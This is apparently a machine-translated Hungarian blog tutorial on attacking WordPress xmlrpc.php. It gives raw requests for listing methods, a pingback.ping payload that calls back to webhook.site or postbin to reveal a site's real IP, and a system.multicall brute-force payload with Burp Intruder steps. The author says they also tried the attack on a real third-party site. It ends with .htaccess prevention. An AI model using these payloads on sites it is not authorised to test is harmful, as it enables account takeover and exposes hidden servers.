Mi az XML-RPC?

Az XML-RPC egy olyan API, amely az információt vagy az adatokat XML-fájlba warpolja és elküldi a mobilalkalmazásnak vagy a távoli szoftvernek. Ezt azért vezették be, mert a régi időkben az internet sebessége nem gyors, ahelyett, hogy online írták volna. A felhasználók offline írják a tartalmukat, és az API segítségével együttesen közzéteszik az egészet. Ahogy az internetes szolgáltatások fejlődtek, a legtöbben már nem használják ezt a funkciót, gyakran elfelejtettük.

Melyek a sebezhetőségek?

1. Brute force támadás. A fő okok a támadás végrehajtására, az, hogy ez az API nem rendelkezik sapka bejelentkezési kísérletek az oldalon. Lehet, hogy nem kapják meg a megfelelő hitelesítő adatokat, de még mindig problémákat okoz, mint például a webhely túlterhelése. Az oldal elérhetőségét befolyásolják.
2. Bejelentkezési adatok elfogása/lopása. Hiányzó hitelesítési rendszer. Minden alkalommal, amikor a felhasználó megpróbál belépni a webhelyre, a bejelentkezési hitelesítő adatokat az XML űrlapon belül elküldi. Ha a kapcsolatot elfogják/ MITM, a tiszta XML-adatok nyilvánosságra kerülnek.
3. XMLRPC pingback.ping. A támadó a módszer segítségével lekérdezheti a WordPress webhely valódi nyilvános címét.

⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️

Mielőtt elkezdeném bemutatni a következő támadások végrehajtásának részletes lépéseit. Bármilyen illegális műveletet hajtottál végre, azt magadnak köszönheted. Én nem vagyok felelős semmilyen cselekedetedért. Kérem, állítsa be a saját környezetét, hogy ezt tegye, vagy kérjen engedélyt, mielőtt megteszi.

⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️

XMLRPC támadás a Burpsuite segítségével

Először ellenőrizze, hogy az XMLRPC.php elérhető-e a céloldalon. Ebben az esetben egy demó WordPress oldalt állítottam be a támadás végrehajtásához.

“Az XML-RPC szerver csak POST kéréseket fogad el.”

A fájl lekérdezéséhez a GET módszert használva általában ezt az eredményt kapjuk.

A következő lépésben egy POST módszert végzünk, hogy lekérjük az XMLRPC szerver összes használható módszerét.

POST /xmlrpc.php/ HTTP/1.1Host: 192.168.220.137Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-SG,en-US;q=0.9,en;q=0.8Connection: closeContent-Length: 137<?xml version="1.0" encoding="utf-8"?> <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>

A szerver válaszol a használható módszerek listájával. Ebben az esetben minket különösen a pingback.ping módszer érdekel. Egy dolgot kell megjegyezni, hogy az összes ilyen bejövő és kimenő adat XML formátumot használ, ahogy azt fentebb elmagyaráztuk. Tehát győződjön meg róla, hogy az adatformátum helyes.

A támadás végrehajtásához először ezt a 2 dolgot kell előkészítenünk

1. Egy érvényes webhook.site URL vagy bármilyen más, általad preferált alternatíva, például beeceptor és postbin
2. Egy célzott WordPress bejegyzés érvényes URL címe.

<?xml version=”1.0″ encoding=”UTF-8″?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string></string></value>
</param>
<param>
<value><string></string></value>
</param>
</params>
</methodCall>

Az alábbiakban egy másik példa látható erre a WordPress oldalon végrehajtott támadásra. IGEN! Amit éppen most nézel. Kíváncsiságból szeretném kipróbálni a valódi webhely támadását az általam hosztolt webhely helyett.

Mint láthatod, ez a támadás sikertelen, és a postbinben nem jelenik meg eredmény. Úgy tűnik, mintha némi elővigyázatosságot és megelőzést tettek volna az online WordPress webhelyen. Ez a módszer hasznos a saját telepítésű webhely és nem tiltotta le az xmlrpc.php

Ha nem kívánja használni a POSTBIN, nyissa meg az NC-t és állítsa be a figyelő módban is működik! 👍👍

Brute force támadás az XMLRPC.php használatával

Mint fentebb említettük, a próbálkozások számának nincs korlátja. A sikeres felhasználónév-jelszó kombináció megszerzése csak idő kérdése. És nincsenek olyan mechanizmusok sem, mint például a fiók zárolása bizonyos számú próbálkozás után.

<?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data><value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string></string></value><value><string></string></value></data></array></value></data></array></value></member></struct></value></data></array></value></param></params></methodCall>

A sikeres és sikertelen bejelentkezés közötti különbség bemutatására itt egy példa.

És természetesen az Intruder-t kell használnod az ilyen jellegű nyers erővel végrehajtott támadásokhoz.

Először ellenőrizzük a támadás célpontját, az én esetemben a webhelyem IP-címét fogom használni.

a Payload Positions beállításához és a Attack type listában a ‘Cluster bomb’ kiválasztásához szükséges. Jó forrás a pozíciókról és a támadási típusokról való tájékozódáshoz

Itt 2 payload pozíciót kell beállítanunk, a ‘username’-t és a jelszót. Ezután be kell állítanunk a szólistát. Ez a payload típusok dokumentációja

Kattintsunk a ‘Start attack’ gombra, ha készen vagyunk

Mint megfigyelhetjük, az egyik Request eltérő hosszúságú. És amikor ellenőrizzük a nyers adatokat a válasz fül alatt, megmutatja nekünk, hogy ez a kombináció sikeresen bejelentkezett.

Megelőzés

1. Install plugin for the lazy people
2. Disable xmlrpc.php-t a .htaccess segítségével

#Megtagadja, hogy bárki hozzáférjen a fájlhoz
<Files xmlrpc.php>
order deny,allow
deny from all
</Files>

.